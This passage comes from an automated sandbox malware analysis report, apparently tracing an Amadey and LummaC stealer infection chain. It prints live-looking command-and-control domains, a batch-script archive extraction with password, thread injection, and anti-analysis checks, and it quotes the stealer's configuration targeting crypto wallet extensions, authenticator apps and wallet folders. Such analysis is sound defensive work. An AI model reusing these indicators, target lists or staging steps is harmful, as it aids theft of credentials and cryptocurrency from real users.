                              Source: b2885fa695.exe, 00000020.00000002.2760423898.00000000003D1000.00000040.00000001.01000000.0000000E.sdmpString found in binary or memory: crosshuaht.lat
                              Source: b2885fa695.exe, 00000020.00000002.2760423898.00000000003D1000.00000040.00000001.01000000.0000000E.sdmpString found in binary or memory: sustainskelet.lat
                              Source: b2885fa695.exe, 00000020.00000002.2760423898.00000000003D1000.00000040.00000001.01000000.0000000E.sdmpString found in binary or memory: aspecteirs.lat
                              Source: b2885fa695.exe, 00000020.00000002.2760423898.00000000003D1000.00000040.00000001.01000000.0000000E.sdmpString found in binary or memory: energyaffai.lat
                              Source: b2885fa695.exe, 00000020.00000002.2760423898.00000000003D1000.00000040.00000001.01000000.0000000E.sdmpString found in binary or memory: necklacebudi.lat
                              Source: b2885fa695.exe, 00000020.00000002.2760423898.00000000003D1000.00000040.00000001.01000000.0000000E.sdmpString found in binary or memory: discokeyus.lat
                              Source: b2885fa695.exe, 00000020.00000002.2760423898.00000000003D1000.00000040.00000001.01000000.0000000E.sdmpString found in binary or memory: grannyejh.lat
                              Source: b2885fa695.exe, 00000020.00000002.2760423898.00000000003D1000.00000040.00000001.01000000.0000000E.sdmpString found in binary or memory: cheapptaxysu.click
                              Source: 4cdf81e042.exe, 0000002C.00000002.2937965345.00000000013C8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: treehoneyi.click
                              Modifies the context of a thread in another process (thread injection)
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeThread register set: target process: 8060
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeThread register set: target process: 6284
                              Source: C:\Users\user\Desktop\file.exeProcess created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exe "C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exe" Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exe "C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exe" Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exe "C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exe" Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exe "C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exe" Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exe "C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exe" Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: C:\Users\user\AppData\Local\Temp\1019320001\4cdf81e042.exe "C:\Users\user\AppData\Local\Temp\1019320001\4cdf81e042.exe" Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exe "C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exe" Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"Jump to behavior
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\mode.com mode 65,10Jump to behavior
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextractedJump to behavior
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextractedJump to behavior
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextractedJump to behavior
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextractedJump to behavior
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextractedJump to behavior
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextractedJump to behavior
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextractedJump to behavior
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextractedJump to behavior
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\attrib.exe attrib +H "in.exe"Jump to behavior
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe" Jump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeProcess created: C:\Windows\explorer.exe explorer.exe
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeProcess created: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe "C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe"
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeProcess created: C:\Windows\explorer.exe explorer.exe
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeCode function: 6_2_00402744 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,6_2_00402744
                              Source: b2885fa695.exe, 00000020.00000002.2760571894.000000000059E000.00000040.00000001.01000000.0000000E.sdmpBinary or memory string: BProgram Manager
                              Source: skotes.exe, skotes.exe, 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpBinary or memory string: 69Program Manager
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 5_2_0016DD91 cpuid 5_2_0016DD91
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeCode function: GetLastError,GetLastError,wsprintfW,GetEnvironmentVariableW,GetEnvironmentVariableW,GetLastError,??2@YAPAXI@Z,GetEnvironmentVariableW,GetLastError,lstrcmpiW,??3@YAXPAX@Z,??3@YAXPAX@Z,SetLastError,lstrlenA,??2@YAPAXI@Z,GetLocaleInfoW,_wtol,MultiByteToWideChar,6_2_0040247D
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exe VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exe VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exe VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exe VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exe VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exe VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exe VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exe VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exe VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exe VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1019320001\4cdf81e042.exe VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1019320001\4cdf81e042.exe VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exe VolumeInformationJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exe VolumeInformationJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeQueries volume information: C:\ VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exeQueries volume information: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe VolumeInformation
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                              Source: C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exeQueries volume information: C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exe VolumeInformation
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00B0CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,0_2_00B0CBEA
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 5_2_001565E0 LookupAccountNameA,5_2_001565E0
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeCode function: 6_2_00405BFC ?_set_new_handler@@YAP6AHI@ZP6AHI@Z@Z,GetVersionExW,GetCommandLineW,lstrlenW,wsprintfW,_wtol,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetModuleFileNameW,_wtol,??2@YAPAXI@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,wsprintfW,_wtol,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetCommandLineW,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetCurrentProcess,SetProcessWorkingSetSize,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,CoInitialize,lstrlenW,_wtol,??3@YAXPAX@Z,??3@YAXPAX@Z,GetKeyState,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetFileAttributesW,??3@YAXPAX@Z,??3@YAXPAX@Z,_wtol,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,SetLastError,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,SetCurrentDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,MessageBoxA,6_2_00405BFC
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid
                              Source: b7c03317c9.exe, 0000002A.00000003.2782175661.0000000007A76000.00000004.00001000.00020000.00000000.sdmp, b7c03317c9.exe, 0000002A.00000002.2930917753.0000000000F9D000.00000040.00000001.01000000.00000014.sdmpBinary or memory string: procmon.exe
                              Source: b7c03317c9.exe, 0000002A.00000003.2782175661.0000000007A76000.00000004.00001000.00020000.00000000.sdmp, b7c03317c9.exe, 0000002A.00000002.2930917753.0000000000F9D000.00000040.00000001.01000000.00000014.sdmpBinary or memory string: wireshark.exe
                              Source: b2885fa695.exe, 00000020.00000003.2691712879.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2692865661.0000000000D9E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

                              Stealing of Sensitive Information

                              barindex
                              Yara detected Amadeys Clipper DLL
                              Source: Yara matchFile source: 38.2.Gxtuum.exe.2a0000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 37.2.Gxtuum.exe.2a0000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 36.2.72f44ceb0a.exe.fc0000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 36.0.72f44ceb0a.exe.fc0000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 38.0.Gxtuum.exe.2a0000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 37.0.Gxtuum.exe.2a0000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe, type: DROPPED
                              Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe, type: DROPPED
                              Yara detected Amadeys stealer DLL
                              Source: Yara matchFile source: 5.2.skotes.exe.150000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 0.2.file.exe.af0000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 1.2.skotes.exe.150000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000001.00000003.1713982339.0000000004AB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000000.00000003.1683895756.00000000052E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000000.00000002.1724286059.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000005.00000003.2281282422.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000001.00000002.1754119546.0000000000151000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
                              Yara detected LummaC Stealer
                              Source: Yara matchFile source: Process Memory Space: b2885fa695.exe PID: 8036, type: MEMORYSTR
                              Source: Yara matchFile source: sslproxydump.pcap, type: PCAP
                              Found many strings related to Crypto-Wallets (likely being stolen)
                              Source: b2885fa695.exe, 00000020.00000002.2764183695.0000000000CCE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: %appdata%\Electrum-LTC\wallets
                              Source: b2885fa695.exe, 00000020.00000002.2764183695.0000000000CCE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: %appdata%\ElectronCash\wallets
                              Source: b2885fa695.exe, 00000020.00000003.2691712879.0000000000D8D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
                              Source: b2885fa695.exe, 00000020.00000003.2759950146.0000000000D2A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: window-state.json
                              Source: b2885fa695.exe, 00000020.00000003.2691712879.0000000000D8D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: eh","ez":"TezBox"},{"en":"lodccjjbdhfakaekdiahmedfbieldgik","ez":"DAppPlay"},{"en":"ijmpgkjfkbfhoebgogflfebnmejmfbm","ez":"BitClip"},{"en":"lkcjlnjfpbikmcmbachjpdbijejflpcm","ez":"Steem Keychain"},{"en":"onofpnbbkehpmmoabgpcpmigafmmnjh","ez":"Nash Extension"},{"en":"bcopgchhojmggmffilplmbdicgaihlkp","ez":"Hycon Lite Client"},{"en":"klnaejjgbibmhlephnhpmaofohgkpgkd","ez":"ZilPay"},{"en":"aeachknmefphepccionboohckonoeemg","ez":"Coin98"},{"en":"bhghoamapcdpbohphigoooaddinpkbai","ez":"Authenticator","ses":true},{"en":"dkdedlpgdmmkkfjabffeganieamfklkm","ez":"Cyano"},{"en":"nlgbhdfgdhgbiamfdfmbikcdghidoadd","ez":"Byone"},{"en":"infeboajgfhgbjpjbeppbkgnabfdkdaf","ez":"OneKey"},{"en":"cihmoadaighcejopammfbmddcmdekcje","ez":"Leaf"},{"en":"bhhhlbepdkbapadjdnnojkbgioiodbic","ez":"Solflare"},{"en":"mkpegjkblkkefacfnmkajcjmabijhclg","ez":"Magic Eden"},{"en":"aflkmfhebedbjioipglgcbcmnbpgliof","ez":"Backpack"},{"en":"gaedmjdfmmahhbjefcbgaolhhanlaolb","ez":"Authy"},{"en":"oeljdldpnmdbchonielidgobddfffla","ez":"EOS Authenticator","ses":true},{"en":"ilgcnhelpchnceeipipijaljkblbcob","ez":"GAuth Authenticator","ses":true},{"en":"imloifkgjagghnncjkhggdhalmcnfklk","ez":"Trezor Password Manager"},{"en":"bfnaelmomeimhlpmgjnjophhpkkoljpa","ez":"Phantom"},{"en":"ppbibelpcjmhbdihakflkdcoccbgbkpo","ez":"UniSat"},{"en":"cpojfbodiccabbabgimdeohkkpjfpbnf","ez":"Rainbow"},{"en":"jiidiaalihmmhddjgbnbgdfflelocpak","ez":"Bitget Wallet"}],"mx":[{"en":"webextension@metamask.io","ez":"MetaMask","et":"\"params\":{\"iterations\":600000}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"Wallets/Exodus","d":2,"fs":20971520},{"t":0,"p":"%appdata%
                              Source: b2885fa695.exe, 00000020.00000003.2691712879.0000000000D8D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: eh","ez":"TezBox"},{"en":"lodccjjbdhfakaekdiahmedfbieldgik","ez":"DAppPlay"},{"en":"ijmpgkjfkbfhoebgogflfebnmejmfbm","ez":"BitClip"},{"en":"lkcjlnjfpbikmcmbachjpdbijejflpcm","ez":"Steem Keychain"},{"en":"onofpnbbkehpmmoabgpcpmigafmmnjh","ez":"Nash Extension"},{"en":"bcopgchhojmggmffilplmbdicgaihlkp","ez":"Hycon Lite Client"},{"en":"klnaejjgbibmhlephnhpmaofohgkpgkd","ez":"ZilPay"},{"en":"aeachknmefphepccionboohckonoeemg","ez":"Coin98"},{"en":"bhghoamapcdpbohphigoooaddinpkbai","ez":"Authenticator","ses":true},{"en":"dkdedlpgdmmkkfjabffeganieamfklkm","ez":"Cyano"},{"en":"nlgbhdfgdhgbiamfdfmbikcdghidoadd","ez":"Byone"},{"en":"infeboajgfhgbjpjbeppbkgnabfdkdaf","ez":"OneKey"},{"en":"cihmoadaighcejopammfbmddcmdekcje","ez":"Leaf"},{"en":"bhhhlbepdkbapadjdnnojkbgioiodbic","ez":"Solflare"},{"en":"mkpegjkblkkefacfnmkajcjmabijhclg","ez":"Magic Eden"},{"en":"aflkmfhebedbjioipglgcbcmnbpgliof","ez":"Backpack"},{"en":"gaedmjdfmmahhbjefcbgaolhhanlaolb","ez":"Authy"},{"en":"oeljdldpnmdbchonielidgobddfffla","ez":"EOS Authenticator","ses":true},{"en":"ilgcnhelpchnceeipipijaljkblbcob","ez":"GAuth Authenticator","ses":true},{"en":"imloifkgjagghnncjkhggdhalmcnfklk","ez":"Trezor Password Manager"},{"en":"bfnaelmomeimhlpmgjnjophhpkkoljpa","ez":"Phantom"},{"en":"ppbibelpcjmhbdihakflkdcoccbgbkpo","ez":"UniSat"},{"en":"cpojfbodiccabbabgimdeohkkpjfpbnf","ez":"Rainbow"},{"en":"jiidiaalihmmhddjgbnbgdfflelocpak","ez":"Bitget Wallet"}],"mx":[{"en":"webextension@metamask.io","ez":"MetaMask","et":"\"params\":{\"iterations\":600000}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"Wallets/Exodus","d":2,"fs":20971520},{"t":0,"p":"%appdata%
                              Source: b2885fa695.exe, 00000020.00000003.2691712879.0000000000D8D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: eh","ez":"TezBox"},{"en":"lodccjjbdhfakaekdiahmedfbieldgik","ez":"DAppPlay"},{"en":"ijmpgkjfkbfhoebgogflfebnmejmfbm","ez":"BitClip"},{"en":"lkcjlnjfpbikmcmbachjpdbijejflpcm","ez":"Steem Keychain"},{"en":"onofpnbbkehpmmoabgpcpmigafmmnjh","ez":"Nash Extension"},{"en":"bcopgchhojmggmffilplmbdicgaihlkp","ez":"Hycon Lite Client"},{"en":"klnaejjgbibmhlephnhpmaofohgkpgkd","ez":"ZilPay"},{"en":"aeachknmefphepccionboohckonoeemg","ez":"Coin98"},{"en":"bhghoamapcdpbohphigoooaddinpkbai","ez":"Authenticator","ses":true},{"en":"dkdedlpgdmmkkfjabffeganieamfklkm","ez":"Cyano"},{"en":"nlgbhdfgdhgbiamfdfmbikcdghidoadd","ez":"Byone"},{"en":"infeboajgfhgbjpjbeppbkgnabfdkdaf","ez":"OneKey"},{"en":"cihmoadaighcejopammfbmddcmdekcje","ez":"Leaf"},{"en":"bhhhlbepdkbapadjdnnojkbgioiodbic","ez":"Solflare"},{"en":"mkpegjkblkkefacfnmkajcjmabijhclg","ez":"Magic Eden"},{"en":"aflkmfhebedbjioipglgcbcmnbpgliof","ez":"Backpack"},{"en":"gaedmjdfmmahhbjefcbgaolhhanlaolb","ez":"Authy"},{"en":"oeljdldpnmdbchonielidgobddfffla","ez":"EOS Authenticator","ses":true},{"en":"ilgcnhelpchnceeipipijaljkblbcob","ez":"GAuth Authenticator","ses":true},{"en":"imloifkgjagghnncjkhggdhalmcnfklk","ez":"Trezor Password Manager"},{"en":"bfnaelmomeimhlpmgjnjophhpkkoljpa","ez":"Phantom"},{"en":"ppbibelpcjmhbdihakflkdcoccbgbkpo","ez":"UniSat"},{"en":"cpojfbodiccabbabgimdeohkkpjfpbnf","ez":"Rainbow"},{"en":"jiidiaalihmmhddjgbnbgdfflelocpak","ez":"Bitget Wallet"}],"mx":[{"en":"webextension@metamask.io","ez":"MetaMask","et":"\"params\":{\"iterations\":600000}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"Wallets/Exodus","d":2,"fs":20971520},{"t":0,"p":"%appdata%
                              Source: b2885fa695.exe, 00000020.00000003.2691712879.0000000000D8D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
